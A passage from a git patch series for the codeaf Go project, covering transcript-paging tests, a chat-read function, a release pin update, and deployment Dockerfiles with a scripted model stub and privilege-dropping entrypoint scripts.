{ + t.Fatalf("%s was fetched twice", rid) + } + } + for rid := range chunks { + if seen[rid] != 1 { + t.Fatalf("chunk %s fetched %d times", rid, seen[rid]) + } + } +} + +func TestANewTurnFetchesOnlyTheIndexAndTheNewTail(t *testing.T) { + r := newReadRig(t) + r.project() + r.files[cell.TranscriptPath] = transcript(0, 30) + first := r.publish() + if _, err := r.pager.Page(context.Background(), r.cb, first, "", 3); err != nil { + t.Fatal(err) + } + before := map[string]bool{} + for _, rid := range r.store.take() { + before[rid] = true + } + r.files[cell.TranscriptPath] = transcript(0, 30) + transcript(30, 1) + second := r.publish() + r.reader.Fetched = 0 + page, err := r.pager.Page(context.Background(), r.cb, second, "", 3) + if err != nil { + t.Fatal(err) + } + if !bytes.Contains(page.Segment, []byte("question 30")) { + t.Fatal("the new turn is not on the newest page") + } + index, chunks := r.pathRIDs(second, cell.TranscriptPath) + got := r.store.take() + newChunks := 0 + for _, rid := range got { + if before[rid] { + t.Fatalf("%s was fetched again after the new turn", rid) + } + switch { + case rid == second, rid == index: + case chunks[rid]: + newChunks++ + default: + t.Fatalf("the update fetched %s, which is not the new head's transcript", rid) + } + } + // The turn adds ~ a turn of bytes: the rewritten last chunk and the new ones. + turn := len(transcript(30, 1)) + if max := turn/readChunk + 2; newChunks > max { + t.Fatalf("the update fetched %d chunks for a %d-byte turn (at most %d)", newChunks, turn, max) + } + // An older page on the cursor keeps reading the snapshot paging began at. + older, err := r.pager.Page(context.Background(), r.cb, second, page.Before, 3) + if err != nil { + t.Fatal(err) + } + if older.Head != second || older.End != page.Start { + t.Fatalf("older page at head %s ends %d, want %s ending %d", older.Head, older.End, second, page.Start) + } +} + +func TestATakeAfterAReadFetchesOnlyWhatTheReadDidNot(t *testing.T) { + r := newReadRig(t) + r.project() + r.files[cell.TranscriptPath] = transcript(0, 20) + head := r.publish() + if _, err := r.pager.Page(context.Background(), r.cb, head, "", 3); err != nil { + t.Fatal(err) + } + read := map[string]bool{} + for _, rid := range r.store.take() { + read[rid] = true + } + // The take runs over the same engine (the same store) the read used. + f := &Fetcher{Engine: r.b, Store: r.store, Inbox: r.reader.Inbox} + if err := f.Complete(context.Background(), r.cb, head); err != nil { + t.Fatal(err) + } + for _, rid := range r.store.take() { + if read[rid] { + t.Fatalf("the take fetched %s again, which the read had already brought", rid) + } + } + if want, _ := r.b.Want(context.Background(), r.cb, head); len(want) != 0 { + t.Fatalf("after the take the store still wants %d objects", len(want)) + } +} + +func TestReadOfAChatWithNoTranscriptIsAnEmptyPage(t *testing.T) { + r := newReadRig(t) + r.project() + head := r.publish() + page, err := r.pager.Page(context.Background(), r.cb, head, "", 10) + if err != nil || len(page.Segment) != 0 || page.More() { + t.Fatalf("page = %+v, %v; want empty", page, err) + } +} + +func TestABeforeThisEngineDidNotWriteIsRefused(t *testing.T) { + r := newReadRig(t) + r.files[cell.TranscriptPath] = transcript(0, 2) + head := r.publish() + if _, err := r.pager.Page(context.Background(), r.cb, head, "not-a-cursor", 3); err != ErrBadCursor { + t.Fatalf("err = %v, want ErrBadCursor", err) + } +} diff --git a/internal/furrowbin/pin.json b/internal/furrowbin/pin.json index e51f178a14..c02be98596 100644 --- a/internal/furrowbin/pin.json +++ b/internal/furrowbin/pin.json @@ -1,31 +1,31 @@ { "repository": "Agent-Field/furrow", - "tag": "v0.3.6", - "version": "0.3.6", + "tag": "v0.3.7", + "version": "0.3.7", "artifacts": { "darwin-amd64": { "asset": "furrow-darwin-amd64", - "sha256": "f7d59faf0ebbe45fbe4abd82157a20d4277cec93b5a15bdb06b066edab7a3ce0" + "sha256": "d7461a77f434fea744719201a0fac3bed7ddfbcf71297b4634134c7c35fcbbea" }, "darwin-arm64": { "asset": "furrow-darwin-arm64", - "sha256": "6c3b2361dcd75afce024a3c1eee8674e0b8495443f0fa2d4e4887daefdcae1cd" + "sha256": "9bcd074184271f63deb11b748a1f51db390621ec1541a42645007dba84072f95" }, "linux-amd64": { "asset": "furrow-linux-amd64", - "sha256": "e16936f996dfc564a3d3a686da56ad2a21489fff9108da792293848e326831bb" + "sha256": "63fc4edf565576a7d767606441b8daa15a66d126a9508002c47ddacc9a6dccbf" }, "linux-arm64": { "asset": "furrow-linux-arm64", - "sha256": "dabf64ebcf10cfaf0e83493cc8d9ad0bf3ac7c893db0fbabb1b14772a6701917" + "sha256": "93d1e64d16f82c0030f1a667725cea695cc2a11f12b73aeea05fcc9a862fb480" }, "windows-amd64": { "asset": "furrow-windows-amd64.exe", - "sha256": "61f0e81ee9764e07a30403e804cfc15ea62d7ea0152163f423c92c56e9702ccc" + "sha256": "beaa63bbfdad5ac1cd1776ada43879acc0315e53600e71cf4abad929cc25a53b" }, "windows-arm64": { "asset": "furrow-windows-arm64.exe", - "sha256": "bba0bd08ff4777e5f8bc1415692da6adfccac5f6aac35c06c72fe5af5261b3b6" + "sha256": "07030ec4bf41aa29ec45ea0ffbf145701bfd7b2ee0157c7a1a5118f7b7d7d288" } } } diff --git a/internal/syncsetup/read.go b/internal/syncsetup/read.go new file mode 100644 index 0000000000..cdf62ba7e0 --- /dev/null +++ b/internal/syncsetup/read.go @@ -0,0 +1,80 @@ +package syncsetup + +import ( + "context" + "errors" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/cellstore" + "github.com/Agent-Field/codeaf/internal/cellsync" +) + +// ErrNoChat is a read of a chat the relay does not list as one a person reads: +// unknown, a branch, or archived. +var ErrNoChat = errors.New("that chat is not available") + +// ReadPage is one page of a remote chat's transcript and what reading it cost. +type ReadPage struct { + cellsync.TranscriptPage + // SealedAtMs is when the page's head was sealed, when the relay knows it and + // the page was read at the chat's current head; zero otherwise. + SealedAtMs int64 + // Fetched is the bytes pulled from the relay for this page. + Fetched int64 +} + +// ReadChatPage reads one page of chat c's transcript as another computer last +// sealed it, without taking the chat. +// +// IT IS BUILT FROM THE SAME PARTS AS A TAKE, ON PURPOSE. The engine is the one +// a take of the chat uses (eng.Sync over this identity's keys and ledger), so +// the cell's store, timeline and import are the take's and every object a read +// brings is one the take will find held. The relay is reached through the +// chat's own Scope, so the bytes a read costs are filed under the chat with the +// rest of its traffic. +// +// IT IS NOT A TAKE, AND MUST NOT BECOME ONE. Nothing is leased, nothing is +// materialized, no agent is registered and c.Root is never created: the holder +// keeps the chat, and this computer keeps only objects in its store. See +// cellsync/read.go for why the cost is a few chunks and not the project folder. +// +// before is "" for the newest page (read at the head the relay names now) or a +// cursor a previous page answered, which pages back through the head that +// paging began at. count is how many entries a segment shows a person. +func (s *Sync) ReadChatPage(ctx context.Context, eng cellstore.Engine, c cell.Cell, before string, limit int, count func([]byte) int) (ReadPage, error) { + var head string + var sealed int64 + if before != "" { + h, err := cellsync.CursorHead(before) + if err != nil { + return ReadPage{}, err + } + head = h + } + view, err := s.Dir.Cell(ctx, c.ID) + if err != nil { + return ReadPage{}, err + } + if view.Cell.Archived || view.Cell.ParentCell != "" { + return ReadPage{}, ErrNoChat + } + if head == "" { + head = view.Cell.Head + } + if head == "" { + return ReadPage{}, nil // nothing sealed yet: nothing on the relay to read + } + if head == view.Cell.Head { + sealed = view.Cell.SavedAt + } + sc := s.scope(c.ID) + defer sc.Settle() + engine := eng.Sync(cellstore.SyncKeys{CellKey: s.Identity.CellKey(), Dedup: s.Identity.DedupSecret()}, s.Ledger) + reader := &cellsync.Reader{Engine: engine, Store: sc.Store, Inbox: engine.Inbox, ManyMax: cellsync.ManyMaxFor(s.Relay)} + pager := &cellsync.Pager{Reader: reader, Count: count} + page, err := pager.Page(ctx, c, head, before, limit) + if err != nil { + return ReadPage{}, err + } + return ReadPage{TranscriptPage: page, SealedAtMs: sealed, Fetched: reader.Fetched}, nil +} From bbe2a7649eb29cb44ee735ac49fe91564848a20a Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 00:00:27 -0500 Subject: [PATCH 003/176] deploy/org: images for the organization server, the factory runner, SWE-AF and PR-AF Each image runs a pinned artifact: codeaf from a published dev release checked against its sha256, the AgentField control plane from its published image (built with sqlite_fts5) pinned by digest, SWE-AF and PR-AF built from pinned commits of their public repositories. The containers start as root only long enough to give a platform volume to the service's user, then run as that user. The runner is the engine host that registers the factory on AgentField. Co-Authored-By: Claude Sonnet 5.5 --- deploy/org/agentfield.Dockerfile | 25 +++ deploy/org/codeaf.Dockerfile | 54 +++++ deploy/org/modelstub.Dockerfile | 21 ++ deploy/org/modelstub/go.mod | 3 + deploy/org/modelstub/main.go | 302 ++++++++++++++++++++++++++ deploy/org/pr-af.Dockerfile | 69 ++++++ deploy/org/scripts/drop-root.sh | 18 ++ deploy/org/scripts/entrypoint.sh | 15 ++ deploy/org/scripts/node-entrypoint.sh | 22 ++ deploy/org/scripts/rpc.py | 19 ++ deploy/org/scripts/runner.py | 219 +++++++++++++++++++ deploy/org/scripts/serve.sh | 43 ++++ deploy/org/swe-af.Dockerfile | 71 ++++++ 13 files changed, 881 insertions(+) create mode 100644 deploy/org/agentfield.Dockerfile create mode 100644 deploy/org/codeaf.Dockerfile create mode 100644 deploy/org/modelstub.Dockerfile create mode 100644 deploy/org/modelstub/go.mod create mode 100644 deploy/org/modelstub/main.go create mode 100644 deploy/org/pr-af.Dockerfile create mode 100644 deploy/org/scripts/drop-root.sh create mode 100755 deploy/org/scripts/entrypoint.sh create mode 100755 deploy/org/scripts/node-entrypoint.sh create mode 100755 deploy/org/scripts/rpc.py create mode 100755 deploy/org/scripts/runner.py create mode 100755 deploy/org/scripts/serve.sh create mode 100644 deploy/org/swe-af.Dockerfile diff --git a/deploy/org/agentfield.Dockerfile b/deploy/org/agentfield.Dockerfile new file mode 100644 index 0000000000..42e3d64ccb --- /dev/null +++ b/deploy/org/agentfield.Dockerfile @@ -0,0 +1,25 @@ +# syntax=docker/dockerfile:1.10 +# +# The AgentField control plane, from the PUBLISHED image, pinned by tag and digest. +# +# That image is built with `-tags "embedded sqlite_fts5"` (see AgentField's +# deployments/docker/Dockerfile.control-plane), which matters: a control plane +# built without sqlite_fts5 registers nodes happily and then fails every +# execution insert with "no such module: fts5". Do not swap in a binary built +# another way. +# +# The base image is distroless, so it has no shell and no curl for a health +# check. This file adds one static busybox binary for that and changes nothing +# else; it still runs as the base image's non-root user. +# +# Build context is this folder: docker build -f agentfield.Dockerfile -t agentfield-org . +# To move to a newer control plane change the tag and the digest together. + +ARG AGENTFIELD_IMAGE=agentfield/control-plane:staging-0.1.147-rc.11@sha256:1c85c2f1cf53239b1a68b0fb3df772c6e77dd18292071bd98829259261be7d15 + +FROM busybox:1.37.0-glibc AS busybox + +FROM ${AGENTFIELD_IMAGE} +COPY --from=busybox /bin/busybox /usr/local/bin/busybox +HEALTHCHECK --interval=15s --timeout=5s --start-period=20s --retries=5 \ + CMD ["/usr/local/bin/busybox", "wget", "-q", "-O", "/dev/null", "http://127.0.0.1:8080/api/v1/health"] diff --git a/deploy/org/codeaf.Dockerfile b/deploy/org/codeaf.Dockerfile new file mode 100644 index 0000000000..987ef0e7b5 --- /dev/null +++ b/deploy/org/codeaf.Dockerfile @@ -0,0 +1,54 @@ +# syntax=docker/dockerfile:1.10 +# +# The codeaf image. The organization server (`codeaf factory serve`) and the +# factory runner both run from it, picked by the first argument of the +# entrypoint (scripts/entrypoint.sh). +# +# It runs a PUBLISHED, PINNED codeaf build: the dev-channel release below, checked +# against its sha256 before it enters the image. That is the same binary people +# download, with the manuals packed in. To move to a newer build, change all +# three of CODEAF_RELEASE and the two checksums together (they are in that +# release's checksums.txt); changing the strings also busts Docker's layer cache, +# which a floating "latest" would not. +# +# Build context is this folder: docker build -f codeaf.Dockerfile -t codeaf-org . + +ARG CODEAF_RELEASE=dev-20261124-3791ee6467c7 +ARG CODEAF_SHA256_AMD64=8ad946abcaadad4f753d2dd9095b08a099f97bfa9c09fb133857c36d31a32fe1 +ARG CODEAF_SHA256_ARM64=f4e21cc0df14ac3ec3696331a6013020b4a322c5a295a66d101d60c986579c9a +ARG RUNTIME_IMAGE=debian:bookworm-slim + +FROM ${RUNTIME_IMAGE} AS fetch +ARG CODEAF_RELEASE +ARG CODEAF_SHA256_AMD64 +ARG CODEAF_SHA256_ARM64 +ARG TARGETARCH +RUN apt-get update && apt-get install -y --no-install-recommends ca-certificates curl \ + && rm -rf /var/lib/apt/lists/* +WORKDIR /out +RUN set -eu; \ + arch="${TARGETARCH:-$(dpkg --print-architecture)}"; \ + case "$arch" in amd64) sum="$CODEAF_SHA256_AMD64";; arm64) sum="$CODEAF_SHA256_ARM64";; *) echo "unsupported architecture: $arch" >&2; exit 1;; esac; \ + curl -fsSL "https://github.com/Agent-Field/codeaf/releases/download/${CODEAF_RELEASE}/codeaf-linux-${arch}" -o codeaf; \ + echo "${sum} codeaf" | sha256sum -c -; \ + chmod 0755 codeaf; \ + ./codeaf version + +FROM ${RUNTIME_IMAGE} AS runtime +# git: every checkout and branch the runner makes. python3: the runner's driver. +# openssh-client: git over ssh. tini: reaps the processes a harness leaves behind. +RUN apt-get update && apt-get install -y --no-install-recommends \ + ca-certificates curl git openssh-client python3 tini \ + && rm -rf /var/lib/apt/lists/* \ + && groupadd --gid 10001 codeaf \ + && useradd --uid 10001 --gid 10001 --create-home --home-dir /home/codeaf --shell /bin/bash codeaf \ + && mkdir -p /data && chown codeaf:codeaf /data +COPY --from=fetch /out/codeaf /usr/local/bin/codeaf +COPY scripts/ /opt/org/ +RUN chmod 0755 /opt/org/*.sh /opt/org/*.py +ENV HOME=/home/codeaf CODEAF_HOME=/data/codeaf \ + CODEAF_TELEMETRY=off DO_NOT_TRACK=1 CODEAF_NO_UPDATE_CHECK=1 +WORKDIR /data +EXPOSE 8787 +ENTRYPOINT ["/usr/bin/tini", "--", "/opt/org/entrypoint.sh"] +CMD ["server"] diff --git a/deploy/org/modelstub.Dockerfile b/deploy/org/modelstub.Dockerfile new file mode 100644 index 0000000000..6d6060b406 --- /dev/null +++ b/deploy/org/modelstub.Dockerfile @@ -0,0 +1,21 @@ +# syntax=docker/dockerfile:1.10 +# +# A keyless stand-in for an OpenRouter-compatible model endpoint, for smoke tests +# only (the `stub` profile in compose.yaml). Every answer is free and scripted: +# a step that must write a JSON file gets the smallest document its schema +# allows, and anything else gets a short reply quoting the last words it was sent. +# It is NOT a model and produces no useful work. +# +# Build context is this folder: docker build -f modelstub.Dockerfile -t modelstub-org . + +FROM golang:1.23-bookworm AS build +ENV CGO_ENABLED=0 GOFLAGS=-buildvcs=false +WORKDIR /src +COPY modelstub/ ./ +RUN go build -trimpath -ldflags="-s -w" -o /out/modelstub . + +FROM gcr.io/distroless/static-debian12:nonroot +COPY --from=build /out/modelstub /usr/local/bin/modelstub +EXPOSE 8890 +ENTRYPOINT ["/usr/local/bin/modelstub"] +CMD ["-addr", ":8890"] diff --git a/deploy/org/modelstub/go.mod b/deploy/org/modelstub/go.mod new file mode 100644 index 0000000000..25982a23c1 --- /dev/null +++ b/deploy/org/modelstub/go.mod @@ -0,0 +1,3 @@ +module codeaf-org-modelstub + +go 1.21 diff --git a/deploy/org/modelstub/main.go b/deploy/org/modelstub/main.go new file mode 100644 index 0000000000..9aa1b14b48 --- /dev/null +++ b/deploy/org/modelstub/main.go @@ -0,0 +1,302 @@ +// modelstub is a keyless, schema-driven stand-in for an OpenRouter-compatible +// model endpoint, so a SWE-AF run can be driven end to end with no key and no +// spend. Every reply is free (cost 0). +// +// Protocol it speaks (the dialect internal/provider writes): +// +// GET /api/v1/models one row, stub/scripted +// POST /api/v1/chat/completions SSE stream +// +// What it does with a turn: +// - A prompt that carries the SDK harness's "CRITICAL OUTPUT REQUIREMENTS" +// block (a file to Write, with the JSON Schema inline or in a file) gets one +// `write` tool call whose content is the SMALLEST valid document for that +// schema (schema-driven: first enum value, one array element, "x" strings), +// then a closing text turn once the tool answered. +// - Anything else (a steer note, a title, a compaction) gets a short text +// answer that quotes the person's last words, so a steer note is visible in +// the run's transcript. +// +// STUB_DELAY (default 4s) is held before each answer so a run lasts long enough +// to be watched and steered by hand. +package main + +import ( + "encoding/json" + "flag" + "fmt" + "log" + "net/http" + "os" + "regexp" + "strings" + "sync/atomic" + "time" +) + +var delay = 4 * time.Second + +func main() { + addr := flag.String("addr", "127.0.0.1:18890", "listen address") + flag.Parse() + if v := os.Getenv("STUB_DELAY"); v != "" { + if d, err := time.ParseDuration(v); err == nil { + delay = d + } + } + mux := http.NewServeMux() + mux.HandleFunc("/api/v1/chat/completions", completions) + mux.HandleFunc("/api/v1/models", models) + mux.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) { + log.Printf("unhandled %s %s", r.Method, r.URL.Path) + http.NotFound(w, r) + }) + log.Printf("modelstub on %s delay=%s", *addr, delay) + log.Fatal((&http.Server{Addr: *addr, Handler: mux, ReadHeaderTimeout: 10 * time.Second}).ListenAndServe()) +} + +func models(w http.ResponseWriter, r *http.Request) { + w.Header().Set("Content-Type", "application/json") + _, _ = w.Write([]byte(`{"data":[{"id":"stub/scripted","canonical_slug":"stub/scripted","name":"Scripted stub","context_length":200000,"architecture":{"input_modalities":["text"],"output_modalities":["text"]},"pricing":{"prompt":"0","completion":"0","request":"0","input_cache_read":"0"},"supported_parameters":["tools","tool_choice","max_tokens"]}]}`)) +} + +type message struct { + Role string `json:"role"` + Content json.RawMessage `json:"content"` +} + +func (m message) text() string { + var s string + if json.Unmarshal(m.Content, &s) == nil { + return s + } + var parts []struct{ Type, Text string } + if json.Unmarshal(m.Content, &parts) == nil { + var b strings.Builder + for _, p := range parts { + b.WriteString(p.Text) + } + return b.String() + } + return "" +} + +var turn atomic.Int64 + +var ( + reOut = regexp.MustCompile(`create this file: (\S+)`) + reSchema = regexp.MustCompile(`Read the JSON Schema at: (\S+)`) +) + +func completions(w http.ResponseWriter, r *http.Request) { + var body struct { + Messages []message `json:"messages"` + } + if err := json.NewDecoder(r.Body).Decode(&body); err != nil { + http.Error(w, err.Error(), 400) + return + } + n := turn.Add(1) + // The original prompt is the first user message carrying the output block. + promptAt := -1 + for i, m := range body.Messages { + if strings.EqualFold(m.Role, "user") && strings.Contains(m.text(), "CRITICAL OUTPUT REQUIREMENTS") { + promptAt = i + break + } + } + last := "" + for i := len(body.Messages) - 1; i >= 0; i-- { + if strings.EqualFold(body.Messages[i].Role, "user") { + last = body.Messages[i].text() + break + } + } + tools := 0 + if promptAt >= 0 { + for _, m := range body.Messages[promptAt+1:] { + if strings.EqualFold(m.Role, "tool") { + tools++ + } + } + } + time.Sleep(delay) + if promptAt >= 0 && tools == 0 { + p := body.Messages[promptAt].text() + out := "" + if m := reOut.FindStringSubmatch(p); m != nil { + out = m[1] + } + doc, err := documentFor(p) + if err != nil || out == "" { + log.Printf("turn %d: cannot build a document (%v), path=%q", n, err, out) + stream(w, "", "", "", "I could not read the schema.") + return + } + args, _ := json.Marshal(map[string]string{"path": out, "content": doc}) + log.Printf("turn %d: write %s (%d bytes)", n, out, len(doc)) + stream(w, fmt.Sprintf("call_%d", n), "write", string(args), "Writing the output file.") + return + } + note := strings.TrimSpace(last) + if len(note) > 160 { + note = note[:160] + } + log.Printf("turn %d: text (tools=%d) last=%q", n, tools, note) + if promptAt >= 0 && tools > 0 { + stream(w, "", "", "", "Done. The output file is written.") + return + } + stream(w, "", "", "", "STUB noted: "+note) +} + +func documentFor(prompt string) (string, error) { + var raw string + if m := reSchema.FindStringSubmatch(prompt); m != nil { + b, err := os.ReadFile(m[1]) + if err != nil { + return "", err + } + raw = string(b) + } else if i := strings.Index(prompt, "Required JSON Schema:"); i >= 0 { + raw = prompt[i+len("Required JSON Schema:"):] + if j := strings.Index(raw, "Write ONLY valid JSON"); j >= 0 { + raw = raw[:j] + } + } else { + return "", fmt.Errorf("no schema in the prompt") + } + var schema map[string]any + if err := json.Unmarshal([]byte(strings.TrimSpace(raw)), &schema); err != nil { + return "", err + } + doc, _ := json.Marshal(gen(schema, schema, "", 0)) + return string(doc), nil +} + +var emptyKeys = []string{"question", "clarif", "depend", "blocked", "blocks", "parallel", "predecessor", "prerequisite"} + +func gen(root, s map[string]any, key string, depth int) any { + if depth > 12 || key == "ask_user_form" { + return nil + } + if ref, ok := s["$ref"].(string); ok { + name := ref[strings.LastIndex(ref, "/")+1:] + for _, bag := range []string{"$defs", "definitions"} { + if defs, ok := root[bag].(map[string]any); ok { + if t, ok := defs[name].(map[string]any); ok { + return gen(root, t, key, depth+1) + } + } + } + return nil + } + if c, ok := s["const"]; ok { + return c + } + if e, ok := s["enum"].([]any); ok && len(e) > 0 { + return e[0] + } + for _, k := range []string{"anyOf", "oneOf", "allOf"} { + if br, ok := s[k].([]any); ok && len(br) > 0 { + for _, b := range br { + if m, ok := b.(map[string]any); ok && m["type"] != "null" { + return gen(root, m, key, depth+1) + } + } + } + } + typ, _ := s["type"].(string) + if tl, ok := s["type"].([]any); ok { + for _, t := range tl { + if ts, _ := t.(string); ts != "null" { + typ = ts + break + } + } + } + if typ == "" { + if _, ok := s["properties"]; ok { + typ = "object" + } + } + switch typ { + case "object": + out := map[string]any{} + props, _ := s["properties"].(map[string]any) + for k, v := range props { + if m, ok := v.(map[string]any); ok { + out[k] = gen(root, m, k, depth+1) + } + } + return out + case "array": + for _, e := range emptyKeys { + if strings.Contains(strings.ToLower(key), e) { + return []any{} + } + } + items, _ := s["items"].(map[string]any) + n := 1 + if mi, ok := s["minItems"].(float64); ok && int(mi) > n { + n = int(mi) + } + out := []any{} + for i := 0; i < n && items != nil; i++ { + out = append(out, gen(root, items, key, depth+1)) + } + return out + case "integer": + if m, ok := s["minimum"].(float64); ok { + return int(m) + } + return 1 + case "number": + if m, ok := s["minimum"].(float64); ok { + return m + } + return 1.0 + case "boolean": + return false + case "string": + if f, _ := s["format"].(string); f == "date-time" { + return time.Now().UTC().Format(time.RFC3339) + } + str := "x" + if ml, ok := s["minLength"].(float64); ok { + for len(str) < int(ml) { + str += "x" + } + } + return str + } + return nil +} + +func chunk(id, delta, reason string) string { + if reason == "" { + reason = "null" + } else { + reason = fmt.Sprintf("%q", reason) + } + return fmt.Sprintf(`{"id":%q,"object":"chat.completion.chunk","created":%d,"model":"stub/scripted","provider":"stub","choices":[{"index":0,"delta":%s,"finish_reason":%s}]}`, id, time.Now().Unix(), delta, reason) +} + +func stream(w http.ResponseWriter, callID, tool, args, text string) { + fl := w.(http.Flusher) + w.Header().Set("Content-Type", "text/event-stream") + w.WriteHeader(200) + id := fmt.Sprintf("stub-%d", turn.Load()) + send := func(p string) { fmt.Fprintf(w, "data: %s\n\n", p); fl.Flush() } + send(chunk(id, `{"role":"assistant","content":""}`, "")) + if text != "" { + send(chunk(id, fmt.Sprintf(`{"content":%q}`, text), "")) + } + reason := "stop" + if tool != "" { + send(chunk(id, fmt.Sprintf(`{"tool_calls":[{"index":0,"id":%q,"type":"function","function":{"name":%q,"arguments":%q}}]}`, callID, tool, args), "")) + reason = "tool_calls" + } + send(fmt.Sprintf(`{"id":%q,"object":"chat.completion.chunk","created":%d,"model":"stub/scripted","provider":"stub","choices":[{"index":0,"delta":{},"finish_reason":%q}],"usage":{"prompt_tokens":1,"completion_tokens":1,"total_tokens":2,"cost":0}}`, id, time.Now().Unix(), reason)) + send("[DONE]") +} diff --git a/deploy/org/pr-af.Dockerfile b/deploy/org/pr-af.Dockerfile new file mode 100644 index 0000000000..830e5c34fd --- /dev/null +++ b/deploy/org/pr-af.Dockerfile @@ -0,0 +1,69 @@ +# syntax=docker/dockerfile:1.10 +# +# PR-AF, the pull-request review reasoner node, built from a PINNED commit of its +# public repository, with codeaf available as the review harness. The control +# plane reaches this node over HTTP at AGENT_CALLBACK_URL. +# +# Build context is this folder: docker build -f pr-af.Dockerfile -t pr-af-org . +# To move to another PR-AF commit change PRAF_REF (a full 40-character sha). + +ARG PRAF_REF=c3009ec360658ad6b8b1cf6b8e773de909c6008d +ARG CODEAF_RELEASE=dev-20261124-3791ee6467c7 +ARG CODEAF_SHA256_AMD64=8ad946abcaadad4f753d2dd9095b08a099f97bfa9c09fb133857c36d31a32fe1 +ARG CODEAF_SHA256_ARM64=f4e21cc0df14ac3ec3696331a6013020b4a322c5a295a66d101d60c986579c9a + +FROM debian:bookworm-slim AS fetch +ARG CODEAF_RELEASE +ARG CODEAF_SHA256_AMD64 +ARG CODEAF_SHA256_ARM64 +ARG TARGETARCH +RUN apt-get update && apt-get install -y --no-install-recommends ca-certificates curl \ + && rm -rf /var/lib/apt/lists/* +WORKDIR /out +RUN set -eu; \ + arch="${TARGETARCH:-$(dpkg --print-architecture)}"; \ + case "$arch" in amd64) sum="$CODEAF_SHA256_AMD64";; arm64) sum="$CODEAF_SHA256_ARM64";; *) echo "unsupported architecture: $arch" >&2; exit 1;; esac; \ + curl -fsSL "https://github.com/Agent-Field/codeaf/releases/download/${CODEAF_RELEASE}/codeaf-linux-${arch}" -o codeaf; \ + echo "${sum} codeaf" | sha256sum -c -; \ + chmod 0755 codeaf; \ + ./codeaf version + +FROM golang:1.23-bookworm AS build +ARG PRAF_REF +ENV CGO_ENABLED=0 GOFLAGS=-buildvcs=false +RUN git init -q /src && cd /src \ + && git remote add origin https://github.com/Agent-Field/pr-af.git \ + && git fetch --depth 1 origin "${PRAF_REF}" \ + && git checkout -q FETCH_HEAD \ + && test "$(git rev-parse HEAD)" = "${PRAF_REF}" +WORKDIR /src/go +RUN --mount=type=cache,target=/go/pkg/mod go mod download +RUN --mount=type=cache,target=/go/pkg/mod --mount=type=cache,target=/root/.cache/go-build \ + go build -trimpath -ldflags="-s -w" -o /out/pr-af ./cmd/pr-af + +FROM debian:bookworm-slim AS runtime +# git: reviews clone, fetch and check out the pull request. tini: reaps what a harness leaves behind. +RUN apt-get update && apt-get install -y --no-install-recommends \ + ca-certificates curl git tini \ + && rm -rf /var/lib/apt/lists/* \ + && groupadd --gid 10003 praf \ + && useradd --uid 10003 --gid 10003 --create-home --home-dir /home/praf --shell /bin/sh praf \ + && mkdir -p /workspaces && chown praf:praf /workspaces +COPY --from=build /out/pr-af /usr/local/bin/pr-af +COPY --from=fetch /out/codeaf /usr/local/bin/codeaf +COPY scripts/node-entrypoint.sh scripts/drop-root.sh /opt/org/ +RUN chmod 0755 /opt/org/node-entrypoint.sh +# legacy-name: AgentField's SDKs still call the codeaf coding harness "aforge" (the provider +# and its command variable), and CODEAF_BIN below says which binary it runs. Both spellings are theirs. +ENV HOME=/home/praf \ + NODE_ID=pr-af \ + PORT=8007 \ + PR_AF_WORKDIR=/workspaces \ + PR_AF_PROVIDER=aforge \ + AGENTFIELD_AFORGE_COMMAND=exec \ + CODEAF_BIN=/usr/local/bin/codeaf \ + CODEAF_TELEMETRY=off DO_NOT_TRACK=1 CODEAF_NO_UPDATE_CHECK=1 +WORKDIR /workspaces +EXPOSE 8007 +ENTRYPOINT ["/usr/bin/tini", "--", "/opt/org/node-entrypoint.sh"] +CMD ["/usr/local/bin/pr-af"] diff --git a/deploy/org/scripts/drop-root.sh b/deploy/org/scripts/drop-root.sh new file mode 100644 index 0000000000..1e7bf35586 --- /dev/null +++ b/deploy/org/scripts/drop-root.sh @@ -0,0 +1,18 @@ +#!/bin/sh +# Sourced by an entrypoint (never run alone), BEFORE it does anything else: +# +# ORG_UID=10001 ORG_HOME=/home/codeaf ORG_DIRS="/data" . /opt/org/drop-root.sh +# +# Why: a platform volume (Railway's, a bind mount) arrives owned by root, and a process that +# starts as an unprivileged user cannot write to it. So the container starts as root, makes the +# volume folders belong to the service's user ONCE (a recursive chown only when the folder is +# not theirs yet, so a restart over a big workspace costs nothing), and then replaces itself +# with the same entrypoint running as that user. Nothing long-lived runs as root. +# A container started with --user already skips all of this. +if [ "$(id -u)" = "0" ]; then + for dir in $ORG_DIRS; do + mkdir -p "$dir" + [ "$(stat -c %u "$dir")" = "$ORG_UID" ] || chown -R "$ORG_UID:$ORG_UID" "$dir" 2>/dev/null || true + done + exec setpriv --reuid="$ORG_UID" --regid="$ORG_UID" --clear-groups env HOME="$ORG_HOME" "$0" "$@" +fi diff --git a/deploy/org/scripts/entrypoint.sh b/deploy/org/scripts/entrypoint.sh new file mode 100755 index 0000000000..e1320526dc --- /dev/null +++ b/deploy/org/scripts/entrypoint.sh @@ -0,0 +1,15 @@ +#!/bin/sh +# The codeaf image's entrypoint. The first argument picks the role: +# server the organization server, `codeaf factory serve`, in team mode +# runner the factory runner that connects the organization's work to AgentField +# run that command as given (a shell, `codeaf --help`) +set -eu +ORG_UID=10001 ORG_HOME=/home/codeaf ORG_DIRS="/data" . /opt/org/drop-root.sh +# CODEAF_ROLE picks the role where a platform cannot pass arguments (Railway sets it as a variable). +role="${CODEAF_ROLE:-${1:-server}}" +[ "$#" -gt 0 ] && shift +case "$role" in + server) exec /opt/org/serve.sh "$@" ;; + runner) exec python3 /opt/org/runner.py "$@" ;; + *) exec "$role" "$@" ;; +esac diff --git a/deploy/org/scripts/node-entrypoint.sh b/deploy/org/scripts/node-entrypoint.sh new file mode 100755 index 0000000000..8d92ea4813 --- /dev/null +++ b/deploy/org/scripts/node-entrypoint.sh @@ -0,0 +1,22 @@ +#!/bin/sh +# Entrypoint of the reasoner images (swe-af, pr-af). Two jobs, then the node: +# 1. a node that is sent a key as a mounted file or a platform variable never +# has it baked into the image; a *_FILE variable is read into the plain one; +# 2. git is told who it is and to sign in with the GitHub token when there is one. +set -eu +ORG_UID="${ORG_UID:-10002}" ORG_HOME="${ORG_HOME:-/home/sweaf}" ORG_DIRS="${ORG_DIRS:-/workspaces}" . /opt/org/drop-root.sh + +for name in AGENTFIELD_API_KEY OPENROUTER_API_KEY GH_TOKEN; do + eval "file=\${${name}_FILE:-}" + if [ -n "$file" ] && [ -r "$file" ]; then + eval "export ${name}=\$(cat \"\$file\")" + fi +done + +git config --global 